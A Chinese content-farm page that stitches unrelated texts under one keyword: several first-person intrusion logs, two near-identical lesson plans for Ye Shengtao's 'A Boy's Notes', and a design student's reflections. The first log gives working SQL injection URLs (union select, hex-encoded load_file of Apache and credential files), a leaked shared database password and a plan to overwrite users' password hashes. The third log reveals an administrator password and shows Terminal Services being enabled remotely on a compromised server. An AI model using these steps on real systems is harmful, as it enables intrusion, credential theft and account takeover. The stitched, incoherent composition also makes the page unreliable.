【导语】这次小编在这里给大家整理了入侵一个 的临时笔记（共10篇），供大家阅读参考。
篇1：入侵一个 的临时笔记
原标题：日一成人站的临时笔记 来自Tangbuhu's blog
unix+apache+php+mysql
21=vsftpd;22=ssh;mysql=3306不开放远程连接
找到个注射点，mysql版本4.0以上支持union查询，当前用户权限足够可以load_file
以下是记录：
/gongji.php?ag_id=7 and ord(mid(version,1,1))>51 /*判断mysql version的第一位是不是大于3
/gongji.php?ag_id=7 and (select count(*) from mysql.user)>0 /*判断权限
/gongji.php?ag_id=7 and 1=2 order by 7 /*快速判断字段
/gongji.php?ag_id=7 and 1=2 union select 1,2,3,4,5,6,7 /*精确确定字段数
---没有报错信息，利用读取apache配置文件来找web路径---------------------
默认的配置文件路径：/etc/httpd/conf/httpd.conf
转换成hex类型代入union查询语句，在字段4的位置有足够长度显示内容
/gongji.php?ag_id=7 and 1=2 union select 1,2,3,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),5,6,7
得到N多站点的路径，其中目标的路径为：/home/k...ow/www/
接下来考虑两个方案：
a. select 。。。 into outfile
条件：1.需要知道一个表名 2.需要网站没有对'做处理 3.目标路径可写
条件1，2都满足，测试导出到/tmp成功，下面需要找一个可写的目录，
分析了下apache配置文件，发现网管把images文件夹穿插这放置的。即这个站点images文件夹放到另外一个站路径下。
b.读网站页面源码，找到库口令，用户表，管理表，后台...
实际上口令还可以试试ftp及ssh
读/etc/passwd密码档得到用户表，找到能够远程登录的用户表。
尝试读取vsftpd配置文件：/etc/vsftpd/vsftpd.conf,vsftpd.ftpuser... 失败可能权限不够
读取几个站的数据库连接文件：/home/k...ow/www/config_db.php或/home/k...ow/www/lib/config_db.php
发现口令统一是steal0818,帐号不一样。网站都采用同一套系统。用户表：dg_member,fs_member,fs_qa_manager
字段：dm_uid,dm_passwd...
c.爆源代码的话还可以顺便找找里面是否有漏洞，比如包含什么的。
d.因为能弄到mysql口令，虽然不能远连，还是可以找找有没有phpMyAdmin这样的东西的。
ps：本打算爆套帐号先享受下的。发现密码是加密形式的。
Select ENCRYPT('mypassword', 'ab')， ENCRYPT加密。正好公司技术主管写了篇关于数据加密的稿子，里面有提到。一文他就知道了。这种算法是不可逆的，强度还不错。
-------------------------------------------------------
很可笑的目录权限设置，已经搞定了。
不过还得再提到上面的加密方式。由于加密不可逆，新注册用户是要钱的。所以我要搞到可登录的帐号还得动点脑子：
先看下memberl.php中对密码加密的脚本：
$am_pwd = crypt ($am_pwd, “Md”);
然后用phpshell或者任意unix下的mysql操作环境执行：
select encrypt(“123456”, “Md”) 得到123456的密文
然后可以insert或者update其他用户的pwd密文为123456的密文...
篇2：一个特殊的Hacking入侵过程
踩点： 服务器开放了21和80端口，Serv-U6.2、 Apache/2.055(win32)PHP/5.1.2；同台服务器上还有一个OA系统，
一个特殊的Hacking入侵过程
，
黑盒测试，先是测试上传脚本文件，可以上传，得到提取码后进 行提取不会被解析，对上传过程进行抓包，然后构造不存在的文件，发包，也没有暴出任何
篇3：入侵一个超级BT的服务器(图)
大家好，我是无忧 网的“没你不行”今天我给大家说说我搞定的一个超级BT服务器的过程
今天一朋友给我一个Shell，叫我帮看看能不能提权，结果上去转悠了一下，发现确实和朋友说的一样，权限超级低，基本平常能用的提权技巧都用上去了，还是没法，猜想管理员的技术可能很高，本来想放弃了，结果突然想起了海洋里面有一功能，就是WIN
的机子带这个漏洞的可以看到超级用户的密码，就传上去试了一下，哪知道，真显示出来了，说实话，这真还是第一遇到这种，也不说他有多BT，就是这样的机子特别少见！
主要目的还是给大家介绍一种方法，在没有办法的时候可以多开动一下脑子想一下~
进入后，下面是我们看到的
然后我们看看他的 终端端口&自动登录
这里面会有他的3389的管理员账号和密码，
管理员账号和密码清楚的显示出来了
账号是：administrator
密码是loginfromweb
我们连接看看，不好，他的3389没有开,NND,他的服务器没有开3389，难道他的服务器在家放着吗？呵呵，
管他呢，他不开，我帮他开，好了，我们来用这个东西^_^Recton.exe [远程启动Terminal服务]
我们已经知道了他的账号和密码 看我操作
我们开始执行，等待，
入侵一个超级BT的服务器(图)
，
。。。。。
正在连接 61.***.**.** ......
连接成功！
正在检查操作系统类型 ......
操作系统类型为 Microsoft
Windows 2000 Server
正在写注册表 ......
正在试图重启 ......
重启成功！
Terminal服务已经成功开启！端口： 3389
呵呵，搞定了，我们等待主机重起......过了10分钟了，我们连接，嘿嘿，搞定了
但是当我进去看他的电脑配置的时候，我惊呆了
当各位看到图的时候，要注意眼睛是否会跌掉，心脏会不会停掉.
一个超级BT的服务器，哎，I服了他了
好了，这估计是
迄今最“BT”的服务器了吧
我真的无语了.......
好了，就写到这里吧88MY QQ：393631557
篇4：《一个少年的笔记》教案
《一个少年的笔记》教案
【教学构想】
1．教材分析。
课文包含三则笔记，前两篇原载《旅行家》1965年第ll期，第三篇原载1965年11月1日《中国少年报》，内容相对独立又联系紧密，有机构成一篇儿童文学作品。
三则笔记通过生动地呈现一个成长着的少年的精神世界的美丽和奇妙，引导青少年具有热爱自然、热爱家乡、热爱生活的情怀，学会仔细观察细心体验，勤于思考和记录，善于展开并表达自己丰富的联想和想象，去大胆尝试，去发现自然、文学乃至生活的奥秘，感受发现和创造的乐趣，从自然里获取踏实做人的生活道理，从而健康成长。有了这一认识，才是对单元编写意图的正确和准确的把握。
2．学情分析。
课文文字浅显，预计学生困难在于：一是文本的主旨和.写作意图是含蓄的、深刻的，需要学生阅读构建；二是文本的语言质朴，.写作形式也没什么特别包装，这样的文章对于学生来说兴趣可能不浓。这两点是学生看不到文本价值的主要原因。
3．教学策略。
①鼓励并组织学生提前研读，围绕读懂课文提交问题，教师课前对学生感到困惑或不解的问题进行汇总整合和筛选。
②在教材处理时教师可以《诗的材料》为重点，举一反三让学生读懂全文。
③课堂教学中要深入探究，通过研读文本激发学生思考、发现和构建，教学要有序讨论学生提出的有价值的问题，突出主体探究，体现教师的“导”。
④通过“比较.写作”体味语言。
⑤以“做一个阳光少年”为话题写一则随笔拓展学习。
【教学设计】
1．了解文学作品主题的含蓄性特点并认识儿童文学作品的语言特色；理解文中联想和想象的作用；把握文章蕴涵的主旨和.写作意图。
2．培养学生细心体验、主动探究文学作品的意蕴的习惯；激发仔细观察身边事物展开联想、想象的兴趣；理解文学与生活的关系。
3．培养热爱自然、热爱家乡、热爱生活的情怀i体会勇于创造的乐趣。
重点：理解联想和想象及其关系。探究文章蕴涵的主旨和.写作意图。
难点：探究把握文章蕴涵的主旨和.写作意图。
两课时
1．师生搜集有关作者叶圣陶的资料和儿童文学作品。教师搜集关于当代阳光少年的资料备用。
2．组织学生反复研读课文并提交问题。
3．教师将搜集到的材料整理制作.课件，筛选出以下学生的问题作为课堂依次讨论的内容：
①“诗的材料”指的是什么?要怎样才能收集到诗的材料?
②“我”是一个什么样的少年?(学生原问：作者“我”是一个什么样的人?)
③文章到底要说什么?(学生原问：作者要告诉我们读书的方法吗?文章到底要说什么?)
第一课时
一、导人
1．交流所搜集的有关作者叶圣陶的资料和儿童文学作品，了解作者。
多媒体展示：叶圣陶，1894．年生于江苏苏州。原名叶绍钧，曾任出版总署副署长、教育部副部长、人民教育出版社社长。现代著名作家、教育家。作为现代著名作家和教育家，作为当代的“语言大师”之一，叶圣陶在我国儿童文学史上有着特殊地位，是我国现代童话创作的重要奠基人。代表作品有第一部童话集《稻草人》《一个少年的笔记》《叶圣陶童话选》等。
2．课文体裁：儿童文学作品
多媒体展示：儿童文学作品，是指以儿童为阅读对象的文学作品。从本质上说是“供儿童审美的文学”。
世界上著名的'儿童文学作品资源非常丰富，如：卡洛科洛迪写的《木偶奇遇记》、奥斯卡王尔德写的《快乐王子》、叶圣陶写的《稻草人》、马克吐温的《汤姆历险记>《赫克历险记》、安徒生的《安徒生童话》、伊索的《伊索寓言》、格林兄弟的《格林童话》、J．K罗琳由开始创作，到现在还没有完结的《哈利波特》系列。
(“了解课文涉及的重要作家作品知识和文化常识”、“能利用图书馆、网络搜集自己需要的信息和资料”是新课标第四学段阅读的两个阶段目标，通过多媒体展示，在有限的时间内达到既扩展信息量，激发了学生的阅读兴趣，又为阅读教学创设情景做好铺垫，是十分必要的。)
二、讨论学生提出的问题，理解探究
(课堂学习以学生提出的有价值的问题为目标展开探究学习。既突出学生的主体地位。又能保证阅读教学的时效性。)
1．“诗的材料”指的是什么?要怎样才能收集到诗的材料?
①要求学生用默读方式通读《诗的材料》一则，思考回答第一问。
生：答案在第l自然段，也就是指少年所看到的一池美丽的荷花。
师评说：“美丽的”一词用得好，扣住诗的特征。问题是如果这一答案是对的，那么，最后一自然段的“我觉得这种情形是诗的材料，可以拿来作诗”一句就应该移到第1自然段之后，是作者疏忽了吗?
(学生先是发愣，后立即看书，陷入思考。)
师生相互说新的想法，讨论结果：
a．想起张家的荷花画，想到齐白石的画，想画家是谁。
b．觉得自己仿佛就是一朵荷花。
c．想起<天鹅湖>中天鹅齐舞的场面。
d．在学校里看牵牛花，觉得自己仿佛就是一朵牵牛花。
e．在公园里看金鱼，自己仿佛就是一条金鱼等情景都在内。
师指导：大家补充的这些内容都写进答案里长了些，要概括一下，怎么做?(稍停)先思考：这些内容都是少年所想．想有联想和想象，体验体验，哪些是联想?哪些是想象?
生讨论明确：少年想起张家的荷花画、齐白石的画、《天鹅湖》中天鹅齐舞的场面、在学校里看牵牛花、在公园里看金鱼是联想，想画家是谁、觉得自己仿佛就是一朵荷花、觉得自己仿佛就是一朵牵牛花、自己仿佛就是一条金鱼是想象。
教师适时讲联想和想象的有关知识后，指导学生表述第一问的答案：“诗的材料”是指少年看到的一池美丽的荷花以及由此产生的丰富的联想和想象这一情景交融的情形；并适时点拨：情景交融正是诗的特征。
②组织读诗，回答第二问。
师：这诗的材料少年是怎么得来的?
生(不假思索)：一“看”二“想”。
师：“看”好说，这“想”好像要费点神。少年是在什么状态下产生丰富的联想和想象的?读―读，体验体验，能发现点什么?
生：出神。
师：你是怎么发现的?
生：第5自然段中两次出现“看得出了神”。
师：那第2、3自然段中的联想和想象也是这样吗?
生：(读课文，恍然大悟)是的，第4自然段就表明少年已经“看得出了神”。
师：大家现在能回答“怎样才能收集到诗的材料”这一问题了吗?
生：发现美好的事物，认真仔细观察，展开联想和想象。
师：还要及时记笔记。
(这一问题中含有课后的理解探究要求题，也可突破联想和想象这一知识点，还包含对积累诗的材料的过程与方法的认识，这是本问题的价值所在。教学紧扣文本，调动体验，精讲知识，通过激励解读中对文本有所发现，获得成功感，为进一步探究创造了条件。)
2．作者“我”．是一个什么样的人?
师：这位同学的问题有无问题?
生：“我”是一个少年，不是作者，1956年叶圣陶已经64岁了。再说文章体裁是文学作品。
师：文学作品中的“我”还真不能与作者划等号，要注意。
我们来思考：在第一则中，“我”是一个什么样的少年?提醒：在课堂练习本上理出要点，回答要全面。
生(交流讨论后明确)：具有热爱生活的情怀，善于仔细观察细心体验，联想和想象十分丰富，去发现文学的奥秘。
师：看看第二则，能补充什么?
生：热爱家乡的情怀，勇于大胆尝试。
师：用默读方式通读第三则，回答：从中可以看出少年是一个什么样的少年?
生(默读后理出答案)：热爱自然的情怀；长期观察，勤于思考和记录，发现自然的奥秘，从自然里获取踏实做人的感悟。
教师小结，指导学生归纳整理答案：具有热爱自然、热爱家乡、热爱生活的情怀，善于长期观察，细心体验，勤于思考和记录，联想和想象十分丰富，勇于大胆尝试，去发现自然、文学乃至生活的奥秘。
(对学生提出的这一问题的探究，是本文教学的关键。教学中，围绕问题指导研读文本，思考归纳提取信息既让学生体会到了探究的价值和快乐，又不露痕迹地把探究方向引向了读懂文本，学生在不知不觉中读出了文本的要义。)
4．文章到底要说什么?
师：有―个同学问，作者要告诉我们读书的方法吗?文章到底要说什么?通过以上阅读和理解，显然作者不是要告诉我们读书的方法。那么，作者以―个少年的笔记的方式.写作，要告诉我们什么?
生：做文中少年那样的人。
师：作品的意义(意图)在于引导青少年具有热爱自然、热爱家乡、热爱生活的情怀，学会仔细观察细心体验，勤于思考和记录，善于展开并表达自己丰富的联想和想象，去大胆尝试，去发现自然、文学乃至生活的奥秘，感受创造的乐趣，从而健康成长。
(由于上一个问题的解决，这一轮的问题很明显已经水到渠成，教学的重点在于指导全面理解、完整表述，探究重心落在了过程和方法上，使课堂探究更全面、更充分。)
篇5：一个设计系学生的笔记
学设计第一个要认识到的就是设计不是艺术，我就是一开始没有分清这个概念，在第一次上设计课时可苦大了。设计是沟通，是传达，而艺术是表现，是创作。这并不是说设计里没有表现的成份，更不是说艺术是不在乎沟通的。但是两者放在这两项上的重视是有较大差别的。设计是不能凭感觉做的，要考虑各种因素，要寻找最隹的表达方法，要把自己的感觉翻译成大众能够理解的有效视觉语言。
决定一个设计作品的质量的往往是它的细节，例如字体的选择，图形的构造，颜色的差异等等。这些细微的差别 (nuance) 在体现作品整体上起着相当大的作用。无论一个设计的想法有多好，如果制作粗糙，便会失去魅力。另外，如果我们要求自己注意这些细节和它们的影响，很可能会从中发现一些新的灵感和方向。
从一开始学设计时，老师就不断地强调变化 (variation) 的重要。做一项作业时，我们从来不会去专门寻找它所谓的正确答案，而是试着把自己的各种想法整理出来，尽量用不同的方式来表达，从中再探索，不断地让一个想法把自己带到另一个想法。这样可以扩大我们的想像力，看到不同的可能性。虽然最后的成果很重要，但是过程更重要。这个探索的过程是无法用任何东西取代的。 今天老师提到 variation (变化) 和 alternative (替换) 的区别，我觉得挺重要的。变化是寻找同一种表达方式的各种表现方法，而替换则是寻找另一种表达方式。比如说吧，音乐符号，五线谱，乐器都是音乐的不同变化表达方式，而替换的表达方式可能包括提示音乐气氛的颜色，知名音乐家等。有时如果一个想法好像总是做不好的话，也许该寻找一个替换的想法，而如果找到了合适的想法的话，便应该看看它都可以有什么变化的表现方式，以得出最隹的解答设计。变化和替换的界限往往并不是很清楚，但是如果有个大概概念的话，还是会有些帮助的。
我觉得学设计与做设计最大的好处就是会接触到许多不同的领域。像我们的作业题目曾经包括污染，城市变化，爵士乐宣传，未来建筑的趋势，水的问题等等。通常都是让我们自己在题目里选择一个角度，然后做出有说服力的视觉作品。要想表达好自己的观点，必须先搜集很多的相关资料，对题目有一定程度的理解。完成品可以是抽象的表现，但是想法必须是有形，有根据的。很多人认为设计就是在电脑上做出漂亮的东西，其实完全不是这样的。我们学设计的一大部分时间都是在到处寻找资料，研究以及消化它们，然后再试着从中找到自己的位置，与自己想表达的概念。没有完全理解某个问题时，是不可能有效地表达它的。如果连自己都不知道自己想说什么，不管完成品有多好看，也是白纸一张，因为它没有清楚的内容。通过最近这几个学期，我的研究能力提高了，也重新认识了设计的含义。
你知道设计师最好的朋友是谁吗？是照相机和复印机。它们是做设计必不可少的工具与玩具。图库的图像毕竟有限。最怕的就是由于图库里没有完全合适的图像，所以只好妥协一张一般的，这样本来很好的想法也无法发挥到最隹。只要有机会，最好都用自己拍摄的图像。常出去拍照也是一大娱乐呢。那复印机呢？太多人低估它的价值了。死死板板地复印文件只是复印机的最基本功能。我们可以复印平面的东西，立体的东西，拼凑的东西。可以放大，缩小。可以重叠反复地在同一张纸上印。可以边复印边挪动里面的物件，会得出很多独特的意想不到的效果喔。复印机里出来的东西通常都有一种它特殊的质量，利用好了，可以使设计作品增添光彩。电脑当然也是我们的朋友了。但是你稍不留意，它可能就会变成坏朋友。我们太依赖电脑了。有时候连想都不想就会按键做个效果，因为实在是太方便了。但是这些自动化的功能经常会让我们错过一些探索的机会，也常得出被科技所驱使缺乏特性的完成品。电脑不应该是答案，它与照相机，复印机同样的只是一个工具。它能够帮助我们省掉很多麻烦，做出别的地方做不出来的效果，但是电脑做出来的东西未必就都是好的。拉下 photoshop 里的工具选单前，一定要想一想，这是我唯一的选择吗？
那天在电视里看到一个偶像歌手在台上唱歌，一会儿朝下面招手，一会儿跑来跑去，歌词空间的地方还忙着跟大家打招呼，一点也没有认真唱歌。突然觉得他和实力歌手的区别就跟一个自以为是设计师的人与专业设计师一样。前者只注意着表现自己，而后者却是在专心表达某些事物。有时候，把一个普通的东西，例如地铁时间表，或者杂志文章分页，设计的太漂亮，太突出，太与众不同反而会失去它的基本功能。那些多馀的花花捎捎的东西影响人们去读真正的内容，就跟我从来都记不住偶像歌曲一样。
有一次一个老师对我说的话让我一下子对设计明白了很多。他告诉我我当时做的东西是图像驱使 (image driven)，而不是思想驱使 (idea driven) 的。那时我很喜欢在 photoshop 里隋便拼凑一些图像，自己觉得看起来很酷，以为加上个标题就成了一个作品。但是老师看了说这些只是一些拼凑的图像，你并没有给它们输入任何意义，所以对别人也不会有意义。要想超越这个层次，作品必须让思想优先，图像应该服从与支持你的想法，而不只是独立的装饰品，
这是一个有意思的比喻：文字排列设计 (typography) 应该像玻璃。它应该正确地反映文字的个性与特征，但是同时应该透明得可以让人看穿。如果字体或文字的形状本身所说的,比文字中所要表达的还多还强烈的话，这种设计选择就等於自己把自己锁起来了。
关于招贴。基本上，招贴（海报）有两种类型，1) 资料提供 (informative)，2) 说服引导 (persuasive)。资料提供式招贴协助观众获得必要的知识。最好用独特的方式，比如利用图像或比喻来让招贴里的资料易懂易记。说服引导则是挑战观众去在某个事物上有偏向某个方向的观念，也可利用资料提供来达到这个目的。招贴是个独特的东西，它给你非常大的面积与空间来发挥，但是很多人往往不去利用这一优势，还按照设计书皮的思路来设计招贴，这样的完成品最后看上去只会像一张放大了的书皮，失去了招贴应有的活力。一般来讲，招贴有三个可读入的层次。远距离时，它应该有一定的特征把你吸引过来，中距离时，你应该能够了解这张招贴是关于什么的，非常近距离时，则应该可以读到其他的细节。招贴有它自己独特的使命，把握好的话，发挥是无限的。
那天翻出最初学设计时的作品草稿，觉得那时候真的是什么都不懂。现在回想起来，这一年来学到的最重要的有两点。一. 每个设计构思都有适合它自己的语言。风格不应该只是一种死板的美观的外表，而应该利用来表现思想。有的人偏爱数字化的效果，所以什么东西都做成那种样子，这种习惯性的东西使本来的特点麻木，丧失代表性与意义，成为纯装饰的玩意儿。我以前一直以为好的设计都有一个特定的所谓的样子，比如很酷，很细的线条，模糊的文字等，其实如果这些东西没有任何实际用途的话，滥用它们只不过会使你的作品降质。二. 每个人都有不同的擅长，这才使设计作品丰富多彩。面对一个设计问题时，要考虑寻找自己最能发挥的解决方法。而且要做就要做到最好，不能马虎。有时候，有的想法最适合用影像合成来表现，但是如果自己没有信心与能力做得像，做得有说服力的话，不如另找自己可以表现的想法。作为学生，我们经常以为把自己想要做的告诉老师就可以了，初学设计的学生经常会拿着一张潦草的手稿说到，“虽然你们看不太出来，但是我想的是这儿有一个跑步的人，后面有旋风，还有特别酷的色彩效果...” 老师只好说，“你说的很好，为什么不做出来？” 然后他才发现原来他没有能力做出他想像的东西。设计并不只是一个想法的问题，也是一个制作的问题。有效的结合两者，才能得出好作品。
这两天都忙着印出最后的完成品，再贴到可以展示的板子上。我真是服了我自己了，都做过不知多少次了，还是会把板子裁歪，把表面弄脏，更笨的是，还又把手指头削掉一点... 我们班里有少数的一两个人每当做这些最后的完工时，都会到专业的印刷店让那里的人全包，印啊，帖板啊，裁剪啊，据说做两张大海报一共要花约 $60。在我们学校里印才 $10，当然还得自己买板子什么的。她们觉得挺值得的，做出来都专业极了，亮亮的。可是我总觉得在学习作业最后加这么道程序，有点... 反正明年的展览模型课要小心不要和她们一组。
去年夏天在北京买了一本非常好的书，“构思与创造－写作技巧论”，潘大华著。本来是想用来提高自己的中文水平，但是越读发现书里的许多内容其实对我学习设计也有不少帮助。通过不同的方式，设计与写作都是在表达，在沟通。好的设计可以讲一个故事，好的写作可以让人看到一幅画不出来的画。 这本书讲到很多非常有意思并且非常关键的概念，例如看见与发现的不同，获得灵感的基础是信息，知识，与经验的积累，比喻与象征，烘托和对比，如何观察与表现生活的大角度和多角度，疏密与虚实的关系－主题和节奏的需要等等。虽然是一本关于写作的书，但是我觉得任何做跟创作有关的人读来都会受益。这让我又意识到，这个世界上互通的东西实在太多了，几乎什么都可以和什么联系起来，真是越想越有意思！回想起来，直到几年前，我是完全不喜欢学习的。作业就是任务，做完做好就扔在脑后了，知识全部都是为了应付考试，考完后什么都记不起来了。不确定什么时候开始，我对学习的看法好像完全改变了。我现在觉得学习就像在做游戏，在解一个很大很大的迷。解不解开不是关键，关键是，只要我学习，往前走，我之前积攒的点点滴滴零零碎碎就会渐渐地自己拼凑起来，而我看着它们就会觉得非常有意思。而且学习再也不代表上课听讲，已经和生活混为一体了。这个变化和我在日本的半年生活体验有关，和大学里的教育方式有关，和很多事情有关，而且和我学习设计非常有关。说不太上来，但是这短短的几个学期的设计课一定是影响了我很多，我开始学着去思考，去寻找，去理解，去欣赏，去评价，去表达。
篇6：《一个少年的笔记》教案
《一个少年的笔记》精品教案
【教学构想】
1．教材分析。
课文包含三则笔记，前两篇原载《旅行家》1965年第ll期，第三篇原载1965年11月1日《中国少年报》，内容相对独立又联系紧密，有机构成一篇儿童文学作品。
三则笔记通过生动地呈现一个成长着的少年的精神世界的美丽和奇妙，引导青少年具有热爱自然、热爱家乡、热爱生活的情怀，学会仔细观察细心体验，勤于思考和记录，善于展开并表达自己丰富的联想和想象，去大胆尝试，去发现自然、文学乃至生活的奥秘，感受发现和创造的乐趣，从自然里获取踏实做人的生活道理，从而健康成长。有了这一认识，才是对单元编写意图的正确和准确的把握。
2．学情分析。
课文文字浅显，预计学生困难在于：一是文本的主旨和写作意图是含蓄的、深刻的，需要学生阅读构建；二是文本的语言质朴，写作形式也没什么特别包装，这样的文章对于学生来说兴趣可能不浓。这两点是学生看不到文本价值的主要原因。
3．教学策略。
①鼓励并组织学生提前研读，围绕读懂课文提交问题，教师课前对学生感到困惑或不解的问题进行汇总整合和筛选。
②在教材处理时教师可以《诗的材料》为重点，举一反三让学生读懂全文。
③课堂教学中要深入探究，通过研读文本激发学生思考、发现和构建，教学要有序讨论学生提出的有价值的问题，突出主体探究，体现教师的“导”。
④通过“比较写作”体味语言。
⑤以“做一个阳光少年”为话题写一则随笔拓展学习。
【教学设计】
[教学目的]
1．了解文学作品主题的含蓄性特点并认识儿童文学作品的语言特色；理解文中联想和想象的作用；把握文章蕴涵的主旨和写作意图。
2．培养学生细心体验、主动探究文学作品的意蕴的习惯；激发仔细观察身边事物展开联想、想象的兴趣；理解文学与生活的关系。
3．培养热爱自然、热爱家乡、热爱生活的情怀i体会勇于创造的乐趣。
[教学重难点]
重点：理解联想和想象及其关系。探究文章蕴涵的主旨和写作意图。
难点：探究把握文章蕴涵的主旨和写作意图。
[教学安排]两课时
[教学准备]
1．师生搜集有关作者叶圣陶的资料和儿童文学作品。教师搜集关于当代阳光少年的资料备用。
2．组织学生反复研读课文并提交问题。
3．教师将搜集到的材料整理制作课件，筛选出以下学生的问题作为课堂依次讨论的内容：
①“诗的材料”指的是什么?要怎样才能收集到诗的材料?
②“我”是一个什么样的少年?(学生原问：作者“我”是一个什么样的人?)
③文章到底要说什么?(学生原问：作者要告诉我们读书的方法吗?文章到底要说什么?)
[教学步骤]
第一课时
一、导人
1．交流所搜集的有关作者叶圣陶的资料和儿童文学作品，了解作者。
多媒体展示：叶圣陶，1894．年生于江苏苏州。原名叶绍钧，曾任出版总署副署长、教育部副部长、人民教育出版社社长。现代著名作家、教育家。作为现代著名作家和教育家，作为当代的“语言大师”之一，叶圣陶在我国儿童文学史上有着特殊地位，是我国现代童话创作的重要奠基人。代表作品有第一部童话集《稻草人》《一个少年的笔记》《叶圣陶童话选》等。
2．课文体裁：儿童文学作品
多媒体展示：儿童文学作品，是指以儿童为阅读对象的文学作品。从本质上说是“供儿童审美的文学”。
世界上著名的儿童文学作品资源非常丰富，如：卡洛?科洛迪写的《木偶奇遇记》、奥斯卡?王尔德写的《快乐王子》、叶圣陶写的《稻草人》、马克?吐温的《汤姆历险记>《赫克历险记》、安徒生的《安徒生童话》、伊索的《伊索寓言》、格林兄弟的《格林童话》、j．k罗琳由开始创作，到现在还没有完结的《哈利波特》系列。
(“了解课文涉及的重要作家作品知识和文化常识”、“能利用图书馆、网络搜集自己需要的信息和资料”是新课标第四学段阅读的两个阶段目标，通过多媒体展示，在有限的时间内达到既扩展信息量，激发了学生的阅读兴趣，又为阅读教学创设情景做好铺垫，是十分必要的。)
二、讨论学生提出的问题，理解探究
(课堂学习以学生提出的有价值的问题为目标展开探究学习。既突出学生的主体地位。又能保证阅读教学的时效性。)
1．“诗的材料”指的是什么?要怎样才能收集到诗的材料?
①要求学生用默读方式通读《诗的材料》一则，思考回答第一问。
生：答案在第l自然段，也就是指少年所看到的一池美丽的荷花。
师评说：“美丽的”一词用得好，扣住诗的特征。问题是如果这一答案是对的，那么，最后一自然段的“我觉得这种情形是诗的材料，可以拿来作诗”一句就应该移到第1自然段之后，是作者疏忽了吗?
(学生先是发愣，后立即看书，陷入思考。)
师生相互说新的想法，讨论结果：
a．想起张家的荷花画，想到齐白石的画，想画家是谁。
b．觉得自己仿佛就是一朵荷花。
c．想起<天鹅湖>中天鹅齐舞的场面。
d．在学校里看牵牛花，觉得自己仿佛就是一朵牵牛花。
e．在公园里看金鱼，自己仿佛就是一条金鱼等情景都在内。
师指导：大家补充的这些内容都写进答案里长了些，要概括一下，怎么做?(稍停)先思考：这些内容都是少年所想．想有联想和想象，体验体验，哪些是联想?哪些是想象?
生讨论明确：少年想起张家的荷花画、齐白石的画、《天鹅湖》中天鹅齐舞的场面、在学校里看牵牛花、在公园里看金鱼是联想，想画家是谁、觉得自己仿佛就是一朵荷花、觉得自己仿佛就是一朵牵牛花、自己仿佛就是一条金鱼是想象。
教师适时讲联想和想象的有关知识后，指导学生表述第一问的答案：“诗的材料”是指少年看到的一池美丽的荷花以及由此产生的丰富的联想和想象这一情景交融的情形；并适时点拨：情景交融正是诗的特征。
②组织读诗，回答第二问。
师：这诗的材料少年是怎么得来的?
生(不假思索)：一“看”二“想”。
师：“看”好说，这“想”好像要费点神。少年是在什么状态下产生丰富的联想和想象的?读—读，体验体验，能发现点什么?
生：出神。
师：你是怎么发现的?
生：第5自然段中两次出现“看得出了神”。
师：那第2、3自然段中的联想和想象也是这样吗?
生：(读课文，恍然大悟)是的，第4自然段就表明少年已经“看得出了神”。
师：大家现在能回答“怎样才能收集到诗的材料”这一问题了吗?
生：发现美好的事物，认真仔细观察，展开联想和想象。
师：还要及时记笔记。
(这一问题中含有课后的理解探究要求题，也可突破联想和想象这一知识点，还包含对积累诗的.材料的过程与方法的认识，这是本问题的价值所在。教学紧扣文本，调动体验，精讲知识，通过激励解读中对文本有所发现，获得成功感，为进一步探究创造了条件。)
2．作者“我”．是一个什么样的人?
师：这位同学的问题有无问题?
生：“我”是一个少年，不是作者，1956年叶圣陶已经64岁了。再说文章体裁是文学作品。
师：文学作品中的“我”还真不能与作者划等号，要注意。
我们来思考：在第一则中，“我”是一个什么样的少年?提醒：在课堂练习本上理出要点，回答要全面。
生(交流讨论后明确)：具有热爱生活的情怀，善于仔细观察细心体验，联想和想象十分丰富，去发现文学的奥秘。
师：看看第二则，能补充什么?
生：热爱家乡的情怀，勇于大胆尝试。
师：用默读方式通读第三则，回答：从中可以看出少年是一个什么样的少年?
生(默读后理出答案)：热爱自然的情怀；长期观察，勤于思考和记录，发现自然的奥秘，从自然里获取踏实做人的感悟。
教师小结，指导学生归纳整理答案：具有热爱自然、热爱家乡、热爱生活的情怀，善于长期观察，细心体验，勤于思考和记录，联想和想象十分丰富，勇于大胆尝试，去发现自然、文学乃至生活的奥秘。
(对学生提出的这一问题的探究，是本文教学的关键。教学中，围绕问题指导研读文本，思考归纳提取信息既让学生体会到了探究的价值和快乐，又不露痕迹地把探究方向引向了读懂文本，学生在不知不觉中读出了文本的要义。)
4．文章到底要说什么?
师：有—个同学问，作者要告诉我们读书的方法吗?文章到底要说什么?通过以上阅读和理解，显然作者不是要告诉我们读书的方法。那么，作者以—个少年的笔记的方式写作，要告诉我们什么?
生：做文中少年那样的人。
师：作品的意义(意图)在于引导青少年具有热爱自然、热爱家乡、热爱生活的情怀，学会仔细观察细心体验，勤于思考和记录，善于展开并表达自己丰富的联想和想象，去大胆尝试，去发现自然、文学乃至生活的奥秘，感受创造的乐趣，从而健康成长。
(由于上一个问题的解决，这一轮的问题很明显已经水到渠成，教学的重点在于指导全面理解、完整表述，探究重心落在了过程和方法上，使课堂探究更全面、更充分。)
第二课时
一、品味文章语言。
师：关于这篇文章的语言，你是怎么看的?
生：没什么词，很平淡，一般般。
师：没有用一些华丽的词，很平淡，我也有同感。想想，是叶老词汇不丰富，还是另有原因?
生：是要以一个少年的语言特点来写吧。
师：大家说对了—半，叶老的作品读多了，就会发现叶老在语言上追求的就是平淡、准确。不信，读读课文，你能删补—个字吗?
(学生读文，尝试删补。)
生：很难删补。
师：能说这种语言一般般吗?不能。读读爬山虎巴墙上爬一段，说说内容。
(学生读读、说说。)
师：丢开课文，你能把刚才了解的内容用自己的话在课堂练习本上写出来吗?试试。
(学生尝试写话)
师：相互读读，与原文比较，意思说明白了没有?顺序合理与否?语言简明吗?
(学生相互读，比较，明确：原文语言平淡、简明。)
(新课标的“在通读课文的基础上，理清思路，理解主要内容，体味和推敲重要词句在语言环境中的意义和作用”这一目标在教学中得到了较为全面的落实。)
二、学习拓展
师：在随笔本上，以“做一个阳光少年”为话题写一则随笔拓展学习。
提示：结合文本，联系实际，放开思路，写出收获。
(学生聊话题、构思、写作。)
师：相互读读，将你的评价写在同学的本子上。
(学生互评)
师：推荐好的作品，读给大家听听。
(学生推荐、朗读、评议。)
师：互评中有分歧的同学，把随笔念出来，并说说分歧，其他同学先认真听，然后说说你的看法。
(学生读、听、讨论。)
(“欣赏文学作品，能有自己的情感体验，初步领悟作品的内涵，从中获得对自然、社会、人生的有益启示。对作品的思想感情倾向，能联系文化背景作出自己的评价；对作品中感人的情境和形象，能说出自己的体验；品味作品中富于表观力的语言。”这是拓展设计的依据。)
三、布置作业
